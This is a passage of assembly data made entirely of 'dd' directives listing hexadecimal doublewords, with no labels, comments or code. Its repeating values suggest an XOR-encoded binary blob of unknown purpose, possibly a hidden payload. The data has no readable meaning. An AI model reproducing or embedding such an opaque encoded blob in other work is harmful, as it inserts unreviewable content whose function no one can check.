0CDEADDDBh, 0ED3C99BBh, 0B72E9A79h dd 343A19FAh, 3244E387h, 0B9ED6644h, 1A133FA7h, 3E9A6917h dd 52156688h, 0A79A00FAh, 8485DC0Eh, 3D74495Dh, 3215610Ah dd 0B3730644h, 538A94F3h, 3214DB44h, 0DD146688h, 0BC1A0619h dd 32156635h, 321577F9h, 0CF52C288h, 666B895h, 0A1399099h dd 351CC47Eh, 544DE3EBh, 974ADCFh, 1D6A89A7h, 0B906917h dd 52156688h, 32156EADh, 0AB482322h, 0E6BF8311h, 0F5AA691Eh dd 6B90ED25h, 3D134E02h, 32156B94h, 0FCAD0688h, 0B31A1BE1h dd 0AA5A06C4h, 0CD42074Bh, 0E9E428Ch, 36D1E760h, 0C7156622h dd 4DE6E32Ah, 0B71A60A7h, 32156605h, 0C0A26942h, 3B90ED70h dd 3D134E8Dh, 32156FCDh, 8D730622h, 0B973D657h, 88470747h dd 32156645h, 0DB4FB123h, 32156614h, 871D48A8h, 0EB9E06B4h dd 32156DCBh, 60336011h, 0AE4144B1h, 0C89EAB06h, 17905D43h dd 3D134E36h, 32152C0Dh, 0B79E9E44h, 343D6497h, 3C9869EDh dd 0DB156688h, 3215664Dh, 561DC1D4h, 3B193FB9h, 69AD36D1h dd 0C5073054h, 36F5A7FAh, 0E47EAB3Ch, 3AFDA78Ch, 567630Ch dd 0F53C9908h, 3E976949h, 3D156688h, 321560CAh, 32906922h dd 9156611h, 1D6A910Dh, 0E906942h, 0DB156622h, 3215661Eh dd 389BFF3Bh, 0E9F2F648h, 998CD0D5h, 0B9FBD4D2h, 1A217B0Dh dd 8B449A42h, 0CDEA99DDh, 0DB4CA938h, 3215669Bh, 3885BFA6h dd 0D49E6F3Ch, 74134Bh, 0A42E756Eh, 9DAB20Dh, 1D9555A7h dd 0A2906917h, 0C7156688h, 0B22EDBC7h, 3D15600Dh, 32155C94h dd 37FD0688h, 3B156644h, 0A44D4477h, 6BDDED77h, 2EB3DDDEh dd 534F3071h, 25ACDBA1h, 3D156039h, 3215380Ch, 229E6944h dd 0DB156622h, 3215661Ah, 0D9351502h, 4CC78165h, 0B912CF86h dd 1A303B94h, 249D698Eh, 0DB156644h, 32156633h, 582FB8B7h dd 2A0E53h, 67472C20h, 9FE59A1Fh, 0B9AD36A4h, 0C53A76D0h dd 9561539Ch, 0F514B6CDh, 3D966949h, 0DB156688h, 3215664Eh dd 0E9114886h, 6E4DEE23h, 9E02CD7h, 1D9551C1h, 0F1906924h dd 3D156611h, 32157D07h, 0B41A0644h, 32156622h, 32156BF9h dd 2EC58C88h, 0A5F4B88Bh, 5EEC7C31h, 534A1715h, 0B22EDB0Bh dd 3D15606Bh, 32152EA7h, 259A6911h, 0DB156688h, 32156656h dd 425E5DB4h, 27B57D81h, 1AA68D92h, 61DB9EC8h, 8F9699DAh dd 343D71A8h, 59916988h, 3D156644h, 32157EA9h, 32068F11h dd 0F3546688h, 0CF52067h, 70DDFD90h, 0E72B6B50h, 0A3DC3C4Ah dd 0B90EDADh, 52134E00h, 5CD6E747h, 6C5287E4h, 320CED4Bh dd 26FC6622h, 0D8156611h, 237414C5h, 0F9FC8FC3h, 0A883CC4Dh dd 520F6E4Ch, 53E0027Bh, 0CDEADF15h, 0FD3C99DDh, 3CFC0648h dd 0E3156688h, 0A2009076h, 0B5057354h, 9717B3EFh, 0B72E0704h dd 343A19BFh, 3257E32Dh, 0B71A6611h, 32156680h, 0EBAA6924h dd 53CAD92Dh, 3CCE39Ah, 0B37560A0h, 90282B87h, 23DBE757h dd 53365C15h, 161199DFh, 0B3315ACFh, 321562E6h, 321B8F11h dd 0D92F6688h, 0E0215AD7h, 917867FFh, 3355FD1h, 4DEAE3B3h dd 0B71A606Bh, 32156665h, 3212E11Eh, 0B2756688h, 0B6A5B589h dd 4F90ED43h, 0DB134E03h, 32156699h, 11DC0AC8h, 0AB6E62ECh dd 0AECE857h, 5A112360h, 33AF34DAh, 33156622h, 22FC3CC6h dd 16156688h, 681912F1h, 53F2A0D1h, 296E78FDh, 976B065h dd 1D9565C1h, 7C906924h, 52156611h, 7060DEEEh, 32048F16h dd 0AF6C6622h, 2DD5FF8Ch, 0F69E919Eh, 8284986Fh, 6A575AE3h dd 0B79E9E70h, 343D79F9h, 321561ADh, 69ED8922h, 9AA52440h dd 32156861h, 85AF7144h, 0B8397934h, 5CB944B0h, 6247E13Ch dd 0CDEA99FCh, 6AD24FDDh, 35905DE9h, 3D134908h, 321556C1h dd 321E8F22h, 0C85A6611h, 9F92739Fh, 0FC204EF6h, 5B90ED24h dd 0DB134E08h, 3215668Dh, 2B65AC10h, 36EA3141h, 1629ED35h dd 5211A20Bh, 0CEDBED22h, 39905D43h, 3D134991h, 3215050Dh dd 32068F44h, 90E86622h dd 3B2C36Eh, 5451F46Ah, 6DC02BDBh, 2B6F20EFh, 0BB90ED64h dd 52134EA7h, 8CD8DF22h, 6474ACA9h, 761565AFh, 31FBA79Ah dd 50EAA8C5h, 0FC9407D4h, 3EE6600Ch, 0ECE2B87Fh, 0D51588C5h dd 0C53C09DDh, 3BFD064Fh, 0CC156688h, 0DA1366A0h, 50257851h dd 321563F8h, 0F14C1F88h, 534E905Ch, 0B21AE319h, 0B71A603Eh dd 321566EDh, 3204E14Bh, 3EFC6622h, 0D156611h, 0A3AA5983h dd 0FDCA0FC3h, 0B9844879h, 1A114F94h, 32018F8Eh, 3ABC6644h dd 4CD48484h, 7BA20588h, 0C0CEA2B3h, 3EE8FE1Ah, 8847A64Fh dd 24A35C17h, 0B3118449h, 0D6783F86h, 74E7E728h, 1B9CD1E3h dd 0BD1A3C5Fh, 32156654h, 32156DCBh, 0AB752611h, 0D780F4A5h dd 385A4069h, 3DEA6DD7h, 32154395h, 32058F88h, 10706644h dd 48DD25EAh, 97814E1Ah, 38AC9DA6h, 6FFC50B9h, 0C7EA99CFh dd 3211E11Eh, 65756688h, 0B72E071Bh, 343D689Fh, 3228E31Eh dd 0BE1A6688h, 32156645h, 0FC90EBDBh, 0DB134932h, 3215669Ah dd 0F85F8A89h, 0D4DAD234h, 10BDC147h, 0D11FF925h, 2FFCFD48h dd 0DBEA99CFh, 3215661Eh, 0EEBD17FDh, 19303B3Dh, 0FB18BC9Bh dd 9571E53h, 1A38330Dh, 6A906942h, 0CA156622h, 4D4EDB92h dd 3D1460A7h, 32152CC1h, 0B7989A22h, 324C6D76h, 3200E687h dd 22FC6644h, 43156622h, 0A9314707h, 0FCF3D182h, 0BDD32D75h dd 3DFB50E1h, 32157794h, 399B6988h, 0DB156644h, 32156624h dd 3C213EE1h, 83FC7D81h, 0C7EA99A8h, 1AFBE742h, 0B277A078h dd 974D66Ah, 1D6A0DC1h, 29916924h, 52156611h, 81D7E6E8h dd 3215E74Bh, 0C7746622h, 5D905D70h, 3D1349F7h, 32157AC1h dd 4BFC9A22h, 52EA99FDh, 3214E587h, 54E06644h, 0DB74A1A9h dd 32156614h, 0AA199419h, 32AF342Fh, 62156622h, 0F49CB698h dd 0B2753CD0h, 851A1E98h, 0CC9607D5h, 88906910h, 0DB156688h dd 3215664Fh, 0BF231623h, 0AF1CDE8Fh, 9E57E65h, 1D6A39C1h dd 8906924h, 52156611h, 0C9DCE7EEh, 0EEE7E75Bh, 532E2B1Dh dd 0B5D1E39Ch, 3DFC66D0h, 24156644h, 0BD2880D6h, 437DEB21h dd 3A7ED1ADh, 0CFFC900Ch, 3DEA99C9h, 32156E99h, 0B3730688h dd 0CB94279Eh, 51905D43h, 3D13496Eh, 3215490Dh, 35916944h dd 3D156622h, 32156798h, 0B7989E88h, 324DEE7Eh, 321561CBh dd 52B2F811h, 0EDE5180Eh, 0CDFED9ADh, 0B97306DDh, 0B9CCE7D3h dd 530625A6h, 4D72E37Fh, 0B71A600Dh, 3215660Ch, 4D90EB71h dd 0DB153ECCh, 32156629h, 7DD58F2Dh, 0EF61020Ch, 0DB4181C7h dd 0CDEA8DAEh, 36F9E5EDh, 6A316201h, 320CE24Bh, 26FC6622h dd 1F156611h, 6F289AB0h, 1A818B45h, 2C24FF5h, 851C14B4h dd 5A20B217h, 32156646h, 0B33152A9h, 321562D5h, 21966988h dd 52156644h, 321563CAh, 0ED11C411h, 3D4F1078h, 321566C8h dd 0C41E0722h, 3201E31Eh, 3BFC6688h, 6C156644h, 0EF211B78h dd 790B9AD2h, 0CDFF9861h, 0DE969EBBh, 1611EF26h, 66314A90h dd 6C7368BFh, 541A0C5h, 0BBE9002Ch, 1A1177A4h, 0B9E0068Eh dd 879C07B3h, 343D4F0Bh, 3206EB1Eh, 3CFC6688h, 0C1156644h dd 39A0439Dh, 7CDEE42Ch, 99DE9385h, 321B8F01h, 2C76622h dd 0A1121F47h, 0B2A07E10h, 9F267274h, 3DFC58A2h, 3215A994h dd 32188F88h, 69456644h, 2808016Bh, 0C4828872h, 0CDDEA868h dd 1E946732h, 4B4A3306h, 1629ED57h, 0B311A20Bh, 4B4A3383h dd 0DD949E64h, 26621A0Ah, 5253A109h, 0C5146D4Bh, 525389A3h dd 0F5946D1Eh, 26621A93h, 32156EADh, 76CC9822h, 0B7DCD0B6h dd 0C29C36BCh, 369EA5CDh, 36D1E706h, 0CA156611h, 524DD8DEh dd 0E4E20024h, 0B31D88E3h, 121208F7h, 3CE3E7B9h, 0B3156603h dd 984AEFE1h, 0B3E66779h, 984AEF63h, 0DA75382Ch, 32156636h dd 2DC3DC1h, 0FACE6CEFh, 0B9C3C46h, 9B8EBFCDh, 96B81F1Dh dd 68BDBA08h, 3216E74Bh, 8D1A6622h, 8F2E07E3h, 343D6299h dd 3205E44Bh, 9E06622h, 3F9369EAh, 3D156688h, 321567C7h dd 0E6FC9F22h, 0C7EA99F8h, 1324DB03h, 0F5ED606Ch, 1A15DFA7h dd 32156617h, 0EA9E0688h, 0BE1A0625h, 3215662Eh, 321561F8h dd 6C393588h, 5521A996h, 1B3CD3ABh, 0BE1A6039h, 32156687h dd 32156CADh, 9511CC22h, 498016E7h, 3DDD02A0h, 321567C9h dd 0AF989E22h, 34256796h, 3DC69974h, 32156AC9h, 34926922h dd 3D156611h, 32156606h, 32048F44h, 40666622h, 82B63B06h dd 2532146Bh, 8C0ABEFCh, 39B57364h, 3C9169D1h, 0CB156688h dd 3215E1ADh, 33986922h, 0CA156611h, 0BB88EB71h, 0DB134BD4h dd 32156628h, 13B54114h, 0CE0FCA86h, 0CDE99A43h, 4B9669F1h dd 52EA99EEh, 32157261h, 92684844h, 845A6485h, 5AB2F0B0h dd 0E797C9C3h, 7775DAFAh, 0B9749AEEh, 1A3C4FA4h, 879C9A8Eh dd 343D66FDh, 32156ACBh, 1C9F7511h, 0C8E9595Ah, 0B739D6C2h dd 7888EB9Bh, 52134884h, 53DAD987h, 3219E54Bh, 0BD1A6622h dd 32156617h, 3215E787h, 0E1EA6644h, 0FCA26942h, 53E2ED77h dd 3604E303h, 3EFC606Ch, 9C156622h, 69C71455h, 6E43CBCBh dd 0CE9669F9h, 1B3CE3ABh, 53EC6039h, 3206E987h, 3CFC6644h dd 156622h, 0C1F73E4Fh, 85C1D7E6h, 86F1C4C4h, 0DA2BE6D7h dd 3314E31Eh, 39FC6688h, 44156644h, 0AFA70671h, 0DEC21359h dd 8F9664BCh, 343D4921h, 0D6916922h, 0CE156611h, 3256BDE0h dd 1619EF44h, 0DBD52893h, 0DBE4E616h, 524CAE00h, 0DB98ADC4h dd 32156636h, 0CC1D37D0h, 9A0F2658h, 921E147Bh, 87B23F47h dd 0BCBC3B04h, 0B11ACCE9h, 32156648h, 3213E82Dh, 0B91A6611h dd 32156688h, 0BB118AC7h, 0C74D4216h, 863EFC14h, 61ED4FAEh dd 44462AFFh, 35F6A740h, 0BF8F9590h, 0EA3C7B15h, 32018F1Fh dd 0B3CB6622h, 79F0652Bh, 64749762h, 7241D03Ch, 0A896C5Ch dd 0B81A46A4h, 32156680h, 3217E24Bh, 53756622h, 3211DF40h dd 46386688h, 1B2B6B77h, 16163EAh, 3D4C581Ch, 32156A07h dd 0B21A0644h, 32156622h, 0A9F0D977h, 0E9A306E9h, 6575CD25h dd 0E499ACA3h, 0B34A3F87h, 41F97B4Ah, 51FC074Ah, 0DB156620h dd 32156602h, 8D2597E3h, 0ABDA6B1Ch, 4879200h, 522AC0EEh dd 0BF53F066h, 1DF290D9h, 0B9E90624h, 0E1EA07DAh, 3211E387h dd 63756644h, 0AF98077Ah, 343A9AB4h, 32157261h, 2D15F544h dd 0A4FFB874h, 4AE12CBh, 58D6C5FEh, 1163D08Eh, 2497692Fh dd 52156611h, 0DB2EB808h, 32156648h, 0EC866BF6h, 60706D0Ch dd 80D4A83Eh, 0DBC69925h, 3215662Fh, 81CADB3Dh, 0E36C8ED4h dd 5AFF1C6h, 3DD56D6Bh, 32156B94h, 9FC9A88h, 3D156644h dd 321567A3h, 0B7969A11h, 343D4FA1h, 32048F41h, 0C1BB6622h dd 7FFF49CBh, 0B50407FAh, 5DDE8FADh, 0CB8FF088h, 0CDEB3EF8h dd 38986977h, 0DB156644h, 32156627h, 53FE8628h, 0AF989340h dd 343A98D5h, 32156BCBh, 7830D411h, 0DED71981h, 0F5DEE735h dd 0E1EAE37Ah, 3214E41Eh, 39E96688h, 12906984h, 52156622h dd 0B61A46A7h, 32156688h, 42FC9F25h, 3D156622h, 32156C9Bh dd 0F59F0688h, 3215E44Bh, 0B1746622h, 2E9C62FDh, 3211DDACh dd 0E8146644h, 26FC0679h, 2B156611h, 0EE63BF38h, 1E622E4Bh dd 0DF24FE80h, 1AB6495h, 53CB0337h, 321443ADh, 68440622h dd 32018F71h, 9C266688h, 0D743A2CCh, 0DAC61982h, 0C5580747h dd 7F80EC60h, 3CFC2D27h, 0CB156622h, 0FD3EE590h, 0E2FA9C7Fh dd 0D2191C6Fh, 0BF7407A6h dd 1F85EF8Ch, 3D91698Eh, 0DB156644h, 32156628h, 0B0EA149Ah dd 0FCC3A88Dh, 0E1EACA65h, 3252E52Dh, 3DFC6611h, 0CF156688h dd 72013962h, 844C741Ch, 0F6ADD56Ah, 879EC28Eh, 343D4F6Dh dd 3219E12Dh, 0B31A6611h, 3215668Eh, 3215E04Bh, 22FC6622h dd 40156611h, 679FCE97h, 0FFA3F561h, 4E54E595h, 0DB9720B4h dd 32154AE2h, 1B98EDB8h, 52134E0Bh, 879C07E9h, 343D4FA1h dd 1AD4E7B1h, 0B346580Dh, 293A82D0h, 0B3E44FA8h, 293A82ADh dd 1AFCE702h, 3D46583Eh, 32156A03h, 34956944h, 3D156622h dd 3215669Ah, 33FCE788h, 0C5156644h, 0F49493F3h, 24273AB3h dd 8847A8A1h, 24273AE6h, 3D4FB00Bh, 3215609Eh, 0B9730688h dd 0DB749F8Ch, 3215662Dh, 3BC0992Ah, 98298F38h, 16C0D681h dd 0C1DB30EDh, 84FC9FB5h, 0DBEA9974h, 32156642h, 83B48D82h dd 0AF985D14h, 343BF1E1h, 0C7C699B8h, 1611ED75h, 5211A292h dd 32156B61h, 0E92BFD44h, 8A2C8E3Eh, 0D30EC98Bh, 0B3739FA2h dd 53944D82h, 1324E309h, 0BE1A6039h, 32156699h, 32156AADh dd 77A53322h, 6B8A740Dh, 0C8ECD6F1h, 5790EFD5h, 0DB134E22h dd 3215661Fh, 0C8174E31h, 3FF6D08h, 0AFAABD0Dh, 0B79E95E2h dd 343D47B9h, 321561ADh, 0CC461222h, 26C6CD18h, 321311E0h dd 1629EF44h, 321568CBh, 2738BC11h, 0C491374Dh, 683877A3h dd 52B09D48h, 32156BF8h, 72628A88h, 95E8B33Fh, 0E919C5FBh dd 89733A6Bh, 5A74D498h, 32150FFAh, 3D3162ABh, 32156797h dd 0BF989388h, 343BFF9Ch, 321F8E42h, 12816611h, 0FBF0CFCAh dd 6A54A1AEh, 0CDFDE744h, 21FC3C8Ch, 0A156688h, 5618D173h dd 2899A47Dh, 726055CDh, 7CDD2101h, 0CD746D68h, 0B51A06F3h dd 32156610h, 0E4940074h, 0B974CE83h, 1A0467A7h, 0B9750617h dd 0F3940756h, 134C27D7h, 67440E43h, 369C6611h, 339569ACh dd 0CB156644h, 0B3F4EF73h, 321562D0h, 36FCE788h, 0B5156644h dd 0BB49422Eh, 0BE1A422Dh, 3215668Fh, 3214E44Bh, 0B9E06622h dd 1A345794h, 0BB449E8Eh, 36D4E7A5h, 0B1156622h, 3E9262F8h dd 369C3AACh, 249E6960h, 3D156622h, 32157695h, 321E8F88h dd 31116644h, 9AC659EDh, 0F13816EFh, 0D898EB04h, 3D1348DEh dd 321567AFh, 0E3EA9A11h, 8A7306E8h, 37FD463Fh, 9156622h dd 464B90FCh, 0E39407D0h, 12A2E1B6h, 777A0E43h, 369C6611h dd 61E03CACh, 1611E714h, 72DE5F83h, 93FEE74Ah, 0BB55ADB1h dd 19ED3D9Dh, 1A0467AFh, 3BFD0617h, 0A7156688h, 6A3B9663h dd 0C4818530h, 3215E61Eh, 0DB4C6688h, 3215664Ch, 0A8A6FBDDh dd 0F7B5CDD9h, 0C7A8E5E9h, 32134E6Eh, 32A9E22Dh, 0B21A6611h dd 32156689h, 2390EDB1h, 52134E38h, 0D0DFE671h, 0FC3FAD09h dd 3D744C10h, 321564A2h, 534C3511h, 18E0E3A3h, 0CE75606Ch dd 32936942h, 0B2156611h, 5374F847h, 0B41AA77Fh, 3215665Ch dd 321575F8h, 0D0BD0188h, 0D1631027h, 868BD77Ah, 32B41E66h dd 51E6EB95h, 3214E04Bh, 0B9ED6622h, 1A3D9794h, 0B7169E8Eh dd 343D4CB1h, 321575CBh, 0D5CA3711h, 0ACF65AF8h, 0B2A484F2h dd 169AB7FEh, 9FD260E8h, 1754E301h, 52EC606Ch, 1E50A5A3h dd 0DB742374h, 32156483h, 3212EB4Bh, 82756622h, 8CC7E64Fh dd 32018FE9h, 0A9CC6644h, 9F6C6A8Bh, 40C1B0B5h, 60D474Ah dd 7EA3860Ah, 0BB406A25h, 36D0E7F4h, 0B3156688h, 321562A9h dd 1639E122h, 1619EF4Dh, 60F30E70h, 3E9C6644h, 54753E06h dd 57738690h, 32157460h, 1B3E9344h, 4E56FA81h, 84F78BBEh dd 0D2A2D2D6h, 52C957FDh, 65743F43h, 421B16AEh, 0A3D2E79Eh dd 1BFCE9B5h, 0B61A39DAh, 32156619h, 3217E487h, 53756644h dd 7C8ADF73h, 0DB942AFBh, 7EFF5828h, 3E9EAE4Dh, 36D1E706h dd 0DB156611h, 32156680h, 3AD46278h, 99F045ECh, 5200DC43h dd 0F09462B5h, 0C9D7F9AEh, 3D4FB60Bh, 3215679Fh, 0B79C9388h dd 343D7C55h, 53A9D142h, 321FEF1Eh, 8C756688h, 2A1D8D2Eh dd 53ECED44h, 10D0E310h, 21FC60A0h, 0E8156644h, 0F97A74AEh dd 51626354h, 0A69AA77Dh, 0A40F4846h, 0B7D20CE8h, 343D4CE4h dd 32156688h, 321560ADh, 1BF52122h, 5845E08Bh, 2D9069C8h dd 3D156644h, 32157FAFh, 32018F11h, 0B5666688h, 7AE01E2Fh dd 82B0587Fh, 0FF762964h, 74428B8Ah, 327D2568h, 52156632h dd 7FC2E777h, 32048E14h, 5B066644h, 5B7EC091h, 42617F8Ah dd 0C6807D8Bh, 0DB09A13Bh, 32156627h, 0F709AD1h, 5A743844h dd 321561FDh, 52316AABh, 349769EDh, 3D156688h, 321566C1h dd 58E00722h, 32078F11h, 1D4C6688h, 0C6FA3877h, 77D3972Bh dd 0EE2CE2C3h, 86818F90h, 3D14F3BBh, 38FC600Ah, 7B156611h dd 0B1711771h, 0E87C7E18h, 0C78099FFh, 3D134E30h, 32156A04h dd 32128F44h, 29D86622h, 0D3B581DEh, 0C390EF49h, 0CB134E6Ch dd 1754E3ABh, 0B01A6039h, 32156689h, 32128FB1h, 0E9C96622h dd 1E156CBBh, 1619ED7Dh, 0B3F7EF16h, 321562E0h, 36D7E711h dd 0B5156688h, 0DB494250h, 32156631h, 0B44A2E76h, 0DDAC600Bh dd 7977CF1Dh, 0D68910BBh, 0CDB6F2EFh, 1A30273Dh, 8A750642h dd 0E89595Ah, 87EA0770h, 343D7789h, 32068FB8h, 2CB56622h dd 0E20893D6h, 0DBCD24E1h, 0EC473B10h, 0F96752Ch, 36F9E7DBh dd 0BB156688h, 39FC4278h, 7D156622h, 5AA24A8Bh, 35BE1BF3h dd 87EAD9E1h, 343D4713h, 0E8940071h, 0CB45108Eh, 0B798071Dh dd 343BD57Bh, 321572F8h, 0E39AA288h, 840EE89Ch, 6B451007h dd 0F6808D75h, 6E736585h, 0DBC59969h, 32156636h, 6EE0425Ah dd 0A9524482h, 0BE90774Bh, 3CB5A885h, 194374ECh, 18E0EB89h dd 22FC606Ch, 0B7156622h, 9AB8136Fh, 7F4D9980h, 8CC8572Ch dd 0B969D956h, 1A3027ACh, 0C99E068Eh, 0F31DDF22h, 33A0ED43h dd 0C7134E00h, 0BB1AC27Bh, 3215664Ch, 3217EF2Dh, 53756611h dd 3680D303h, 9FEC606Ch, 0EC940042h, 5475A596h, 2CA9A609h dd 1395D822h, 8B440743h, 47F77C05h, 0EBE2B77Fh, 5EC7AFC5h dd 0DB9451ADh, 3850584Ch, 0C394BF7Fh, 0A040D9C2h, 0B9E928ABh dd 0F696421Dh, 32128F8Ch, 54946644h, 0F5DF4310h, 37D5A7F0h dd 3211E987h, 52756644h, 88470743h, 309C58D0h, 1E2DD8DEh dd 0C49449E5h, 52017EFFh, 61EB9090h, 0FC945086h, 23703AAFh dd 0B31388E3h, 1704F9FFh, 6CE76738h, 0C74FB645h, 19C8E321h dd 0B9EC6039h, 1A302705h, 32128F42h, 6DE76622h, 0E8260D11h dd 0C5F0E67h, 3E9C6644h, 0CA15E906h, 32156AF8h, 28C0B88h dd 1AE03ED3h, 9E10BE4Ch, 0BA1ACB4Ah, 32156689h, 1D5F0EB1h dd 1E9C6622h, 3215DB35h, 5C9C6688h, 0BBE03BB8h, 1A11F397h dd 33986917h, 0CB156688h, 32156EADh, 0F16EC022h, 445DEED3h dd 0CDEDE575h, 32B2E34Bh, 0B3EC6622h, 0EFC8BB2Fh, 0A8906955h dd 0DB156644h, 32156624h, 7F864C12h, 8946E909h, 7AFA4454h dd 6EE8A5A3h, 0E1E21F9Bh, 68668D09h, 2C9CB5FDh, 0B31B9979h dd 2B1A743Fh, 5E3BE7E4h, 3DE8D253h, 321567AEh, 60429F11h dd 32156232h, 68C2EF44h, 524A9823h, 321569F8h, 6C242D88h dd 0ED073AD9h, 48F8511Ch, 8B79FA6Fh, 0E30A409h, 0BB746685h dd 1A11F397h, 321B8F17h, 1DC16688h, 0DDA5B980h, 0DE91414h dd 1DE4F677h, 0CDC14561h, 249369BBh, 52156622h, 32156CF8h dd 0DE7D9488h, 7F76A913h, 548968F3h, 0F8EDB790h, 31D5A7E9h dd 3212E24Bh, 0BE1A6622h dd 32156610h, 0EF906574h, 3D134E6Fh, 32156DADh, 0BD1A0611h dd 32156688h, 53DBED22h, 321A8E42h, 23606611h, 41ADFEBBh dd 51CC81AAh, 9C090755h, 6B9DD712h, 0B1745238h, 1A342BF9h dd 0B61A6724h, 32156532h, 369469E8h, 54156644h, 53674E98h dd 982BE7E9h, 3DBFCC22h, 3215C7C1h, 2B976922h, 52156611h dd 32157661h, 6BAB8E44h, 3B7D5368h, 0A2A3AAFCh, 0C08BA1E9h dd 53FDEC07h, 3211DD71h, 0DC946611h, 3C1C2156h, 0F494B845h dd 3C1C21FCh, 0B373064Ah, 0B32ADD49h, 0C6916C96h, 8F400701h dd 0A31521Dh, 32399309h, 0DFD47BC1h, 6F8E72Ah, 611543B0h dd 0CDEA9A33h, 0BBE667BBh, 3D483D09h, 32156894h, 321C8F88h dd 0E84B6644h, 5BFA08Eh, 3703B28h, 3D25770h, 0D09F06BCh dd 0AAAB0073h, 63743D38h, 0FA9D7339h, 52E9521Dh, 99C6E744h dd 0BE5E759h, 53328E3Bh, 32155AADh, 65459A22h, 1629ED49h dd 3211A209h, 0DBED6644h, 32156629h, 5AB2F0B0h, 0E797C9C3h dd 6175DAFAh, 37A58591h, 2E9EBE11h, 36D1E7ACh, 52156644h dd 18BEDF44h, 3217EF1Eh, 53756688h, 72EC0E25h, 369C6622h dd 33906935h, 0C7156688h, 25ACDBC7h, 3D14600Ah, 32147D95h dd 359D6988h, 3D156644h, 321567A9h, 5A429F11h, 4990540Eh dd 0B1315ACFh, 0DD9462E6h, 67EA4AA0h, 36C09109h, 0CA9C43C2h dd 3E90697Dh, 3D156611h, 32156009h, 32956944h, 0B1156622h dd 1D6A11ACh, 0B61A668Eh, 3215666Ch, 321574CBh, 0C0389F11h dd 1689D0B8h, 3891D3F0h, 0DA05D6F8h, 0CECF13FCh, 0FA65FB05h dd 0CDEC606Ah, 339E69F1h, 0CB156611h, 3D855908h, 321548C0h dd 32108F22h, 3A056611h, 641F0AFFh, 3210DF15h, 0FC9C6622h dd 6CE26748h, 0C29E00E8h, 70FABCC5h, 0DB744420h, 32156762h dd 8D1A9AE8h, 0B1ED0786h, 0B01A36DAh, 3215667Dh, 0C7EFEDE8h dd 27A23525h, 0E5E3B9D4h, 63918991h, 0DA9D9B00h, 3CFC3D1Dh dd 0E6156622h, 0DDE7D44Eh, 444DE490h, 73BCA009h, 0BE1ACC08h dd 32156610h, 1611ED70h, 37F5EF14h, 32156626h, 32156214h dd 1611E188h, 3D450618h, 3D4BAE95h, 32156694h, 3DBF0788h dd 32156BCCh, 0B3730622h, 3DA5C1CFh, 32156603h, 0F2FC0744h dd 0CE156622h, 6A3152EEh, 3211A209h, 64756644h, 534F0742h dd 32078FBBh, 0D6E56688h, 0F7827586h, 61A2FBF9h, 984A1AC2h dd 4C9728AEh, 0DBEA19C4h, 3298E32Dh, 39FC6611h, 91156688h dd 0EE4A38E7h, 0C126D4A4h, 8F965ED8h, 343A19FFh, 7B916944h dd 0CE156622h, 3208EB1Eh, 0B01A6688h, 32156653h, 321574CBh dd 0CD62A711h, 0FEEDCCB9h, 93C4F017h, 5504A73Dh, 0BF52E7C4h dd 1CD21D15h, 32198F42h, 0B7C36622h, 7BD38B1Ah, 0D267142Ch dd 0E1EA27EEh, 321561CBh, 0BD1E0911h, 0E42D01B6h, 0BAD3EE16h dd 269E6255h, 36D1E735h, 52156688h, 28AF0024h, 0DD94005Ch dd 3D7423BBh, 32156303h, 0E2940044h, 0B974F03Dh, 1A302794h dd 9338938Eh, 371D4659h, 1AB86D8Ch, 9C389E38h, 373DCB83h dd 3A357BE5h, 5382D042h, 36AF34E9h, 1F156688h, 16300F69h dd 1F10B60Bh, 68314378h, 9FECCD7Dh, 3200EE4Bh, 22FC6622h dd 4B156611h, 9CB072AAh, 9297766Eh, 6F8A5050h, 615FDFAAh dd 0CDEA9A33h, 65E667BBh, 0ED1EA19Dh, 39E2E722h, 0C56CE388h dd 0B3C29193h, 0CB48B2D5h, 96D2E72Dh, 0B358D2BEh, 9A662283h dd 6D2EEF19h, 2E96694Ah, 52156688h, 3215E84Bh, 3DFC6622h dd 79156611h, 6E8838B9h, 52BB956h, 0AE6B1CCFh, 0DB74DF7Dh dd 0CDEA9DDBh, 0A7A0EFB8h, 0CE134E26h, 0D09C34E4h, 3211A409h dd 0D8966644h, 1601E126h, 1601EF4Dh, 32157661h, 9D2E4C44h dd 0BA4F7D50h, 0AC9C1FE1h, 0EBF3B94h, 0B2150E39h, 0B11A6622h dd 32156610h, 52150C74h, 544C3624h, 53760799h, 32156FF9h dd 72021988h, 7D61E89Fh, 6BE994CAh, 0E7A09970h, 52134E85h dd 321563ACh, 8BB05722h, 0B11ADD9Dh, 32156688h, 0A7EA071Eh dd 343D6823h, 321AE21Eh, 38FC6688h, 0A4156644h, 9A3BE671h dd 0A05CCAE2h, 1601EDF1h, 0B3F6EF17h, 321562E1h, 36D6E711h dd 0B5156688h, 0DB494258h, 3215662Dh, 352E640Ah, 0D96933Dh dd 204E8523h, 0B90EBE16h, 1A26A79Ch, 3397698Eh, 0CA156644h dd 299F0E77h, 1E9E7BFEh, 36D1E5ACh, 299F8BC5h, 1B9C7BCDh dd 8F409F4Ch, 3215668Ch, 1E9E8F45h, 36D1E706h, 3D156611h dd 32156E08h, 309B6944h, 52156622h, 0F398EF70h, 3D134EBBh dd 321561C6h, 339A6922h, 0C7156611h, 0CDD20F61h, 321A8FBBh dd 659A6622h, 0E319E769h, 6B560157h, 22D677E1h, 18018FA7h dd 0BF1A6611h, 3215668Dh, 0FD9E9324h, 0C7750643h, 0B974A09Ah dd 1A26A705h, 3F966942h, 0DB156622h, 32156619h, 98D89D1Ah dd 0FE3EA4C8h, 3E9E57DDh, 36D1E735h, 3D156688h, 32157FCCh dd 32018F22h, 13506611h, 58A8BF71h, 7668CC60h, 0CDCABF59h dd 0DF48D7F8h, 0BF9C5C50h, 343A1937h, 30926942h, 62156611h dd 0A9407D7h, 7E51320Ah, 3298E32Dh, 0B51A6611h, 32156681h dd 0B01A9A24h, 32156622h, 4A940070h, 3D3B2A8Ch, 321514C1h dd 8A730622h, 3FAFC9C5h, 5303B7E3h, 32118AC5h, 369C6622h dd 0BC1A3835h, 32156692h, 3201EA4Bh, 3DFC6622h, 1E156611h dd 184BD21Fh, 0B83094A4h, 7E3C0C82h, 8A45A2F1h, 3215668Eh dd 1F85A0C5h, 0F4145175h, 1F858890h, 3D4D51DFh, 32156ACDh dd 32128F22h, 76F06611h, 6885EF2Bh, 390EDBBh, 0CB134E2Bh dd 321029F8h, 32108F88h, 0C4B6644h, 628EAA02h, 57316290h dd 0B948E3D7h, 0F6944270h, 32156626h, 6D708890h, 62EC3B0Dh dd 5C3162C5h, 0B96A123Eh, 0F6944205h, 3215668Ch, 2E7B8CC5h dd 20FC1956h, 0F5156611h, 768D3972h, 0AEAFBC70h, 6E5EBEAh dd 